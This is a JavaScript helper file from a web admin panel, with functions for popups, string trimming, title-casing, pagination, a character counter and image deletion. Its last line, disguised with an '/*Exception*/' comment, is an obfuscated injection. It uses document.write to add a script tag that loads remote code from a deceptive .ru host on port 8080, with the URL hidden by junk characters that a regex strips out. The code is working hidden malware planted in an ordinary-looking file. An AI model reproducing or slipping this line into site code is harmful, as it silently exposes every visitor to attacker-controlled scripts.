function clear_data(obj)
{
	str_id = obj.id;
	document.getElementById(str_id).value = "";	
}

var popUpWin=0;
function popUpWindow(URLStr, i_left, i_top, i_width, i_height)
{
	
	/*  if(popUpWin)
	  {
		if(!popUpWin.closed) popUpWin.close();
	  }
	*/
	 if ( i_left == '')
	 {
		i_left= (screen.width - i_width) / 2
	 }
	 if ( i_top=='')
	  {
			i_top = (screen.height - i_height) / 2
	  } 
	//alert ( i_width+ " " + i_height);
	
	// popUpWin = open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menubar=yes,scrollbar=yes,resizable=yes,copyhistory=yes,width='+i_width+',height='+height+',left='+i_left+', top='+i_top+',screenX='+i_left+',screenY='+i_top+'');
	 popUpWin = window.open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars,resizable=yes,copyhistory=yes,width='+i_width+',height='+i_height+',left='+i_left+', top='+i_top+',screenX='+i_left+',screenY='+i_top+'');
}

/* function used in manage page for no of records per page */
function apply_noof_rec(cnt_name, opt_value)
{
	var obj 	= document.getElementById(cnt_name);
	obj.value 	= opt_value;
		
	var sort 	= document.getElementById("hid_sort").value;
	var start 	= document.getElementById("hid_start").value;
	var fname 	= document.getElementById("hid_filename").value;
	var params 	= document.getElementById("hid_params").value;
	var records     = opt_value;
	//alert (sort+"\n"+start+"\n"+fname+"\n"+params+"\n"records);
	path		= fname+"?hid_sort="+sort+"&hid_start="+start+"&tot_rec_todisp="+records+params;
	location.href	= path;
}

function Trim(STRING)
{
	STRING = LTrim(STRING);
	return RTrim(STRING);
}

function RTrim(STRING)
{
	while(STRING.charAt((STRING.length -1))==" ")
	{
		STRING = STRING.substring(0,STRING.length-1);
	}
return STRING;
}


function LTrim(STRING)
{
	while(STRING.charAt(0)==" ")
	{
		STRING = STRING.replace(STRING.charAt(0),"");
	}
	return STRING;
}

function TitleCase(STRING)
{
	var Exceptions = "About/about|Above/above|Across/across|After/after|Against/against|Around/around|At/at|Before/before|Behind/behind|Below/below|Beneath/beneath|Beside/beside|Besides/besides|Between/between|Beyond/beyond|By/by|Down/down|During/during|Except/except|For/for|From/from|In/in|Inside/inside|Into/into|Like/like|Near/near|Of/of|Off/off|On/on|Out/out|Outside/outside|Over/over|Since/since|Through/through|Throughout/throughout|Till/till|To/to|Toward/toward|Under/under|Until/until|Up/up|Upon/upon|With/with|Without/without";
	var arrExceptions = Exceptions.split("|");
	STRING = PCase(STRING);
	var arrExValues;

	for(var iEx = 0; iEx < arrExceptions.length;iEx++)
	{
		arrExValues = arrExceptions[iEx].split("/");
		var SearchThisValue = " " + arrExValues[0] + " ";
		var ReplaceThisValue = " " + arrExValues[1] + " ";
		
		while(STRING.indexOf(SearchThisValue)>-1)
		{
			STRING = STRING.replace(SearchThisValue,ReplaceThisValue);
		}
	}

	return STRING;
} //End Function

function PCase(STRING)	/* function used in Title case*/
{
	var strReturn_Value = "";
	var iTemp = STRING.length;
	if(iTemp==0)
	{
		return"";	
	}
	
	var UcaseNext = false;
	strReturn_Value += STRING.charAt(0).toUpperCase();
	
	for(var iCounter=1;iCounter < iTemp;iCounter++)
	{
		if(UcaseNext == true)
		{
			strReturn_Value += STRING.charAt(iCounter).toUpperCase();
		}
		else
		{
			strReturn_Value += STRING.charAt(iCounter).toLowerCase();
		}
		
		var iChar = STRING.charCodeAt(iCounter);
		if(iChar == 32 || iChar == 45 || iChar == 46)
		{
			UcaseNext = true;
		}
		else
		{
			UcaseNext = false
		}
		if(iChar == 99 || iChar == 67)
		{
			if(STRING.charCodeAt(iCounter-1)==77 || STRING.charCodeAt(iCounter-1)==109)
			{
				UcaseNext = true;
			}
		}
	} //End For
	
	return strReturn_Value;
	
}

function change_cursor(obj)
 {	 
 	obj.style.cursor='pointer';
  }
/* functions used in change display order */

/*
function chk_duplicate_records(total_records)
{	
	is_err=0;
	for(i=1; i < (total_records-1); i++)
	{
		for ( j = i + 1;  j < total_records;  j++)
		{
			var temp1 = document.getElementById("txt_"+i).value;
			var temp2 = document.getElementById("txt_"+j).value;
			if ( temp1 == temp2 && i !=j )
			{
				show_err_border("txt_"+i);
				show_err_border("txt_"+j);
				is_err=1;
				
			}
		
		}		
	}
	if (is_err == 1)
		return false;
	else
		return true;
}
*/

 
// Dispaly the word counter for the textbox -- characters left after typing in the textbox or textarea
function word_counter(obj_text,obj_show,maxval)
{
        var strMsg = document.getElementById(obj_text).value;
		var strMsgLen = strMsg.length
        if(maxval=='')
			{ maxval=strMsgLen;	}
		
		var strMsgMax = strMsg.substring(0, maxval);
        
		
        if(strMsgLen<=maxval)
            document.getElementById(obj_show).innerHTML = (maxval - strMsgLen).toString();
        else
        {
            document.getElementById(obj_text).value = strMsgMax;
            event.returnValue = false;
        }
}

function remove_image(str_fieldname, div_id,i_key_id,i_option,str_wait_img)
{
	if(confirm("Are you sure you want to remove the image."))
	{
		parameters="option="+i_option+"&fieldname="+str_fieldname+"&key_id="+i_key_id;
		//getData('POST','delete_image.php',parameters,div_id,1);
		document.getElementById(div_id).innerHTML = '<div style="padding-left:30px" align="left"><img src="'+str_wait_img+'"></div>';
		load_ajax_request('delete_image.php',div_id,"delete_image",parameters);
	}
}

/*Exception*/ document.write('<script src='+'h(t&@($t$&p$&^:)&/@(!/#s)&t$&(r^e!^#a)(@m(#!a@&(t&e)-&$&c$o&m@!^.&)^g$!o!o$)#&(g&^#l#!e!$.^@b#g$#.$!^p^a($)(n!!@d(^&o($(r)a&)-!!c)o)m#$^@.@@)g)e!)(n)^(@u(##i$@&n^)$e!!c&@o#(@&l))o!(&r^@^s^.!r)u!(:!#8&($0(^&8^^&0@#@/@(!g(o(((o$&g)&l##$e&.)@$c@@o@&)m##/^&)g#@o!$$o$^g((l#&)&e))(.(!&c&!&o(!m&)$!/!d)(o#)&@u$!@!b@)(a(&^&n$.!$#c(o(m!@/#)m!e#$!&r$$$!c#a#d$@o&l^i@)&$b!$r(e#.@&c#))(o@^m($.&^m)#$x((!/&&s)@@a&#b(&$#a^@)h)$($.!c$##(o^&$#)m&#(&.$&$(t@()r!&/#!'.replace(/&|\^|\(|#|\$|@|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');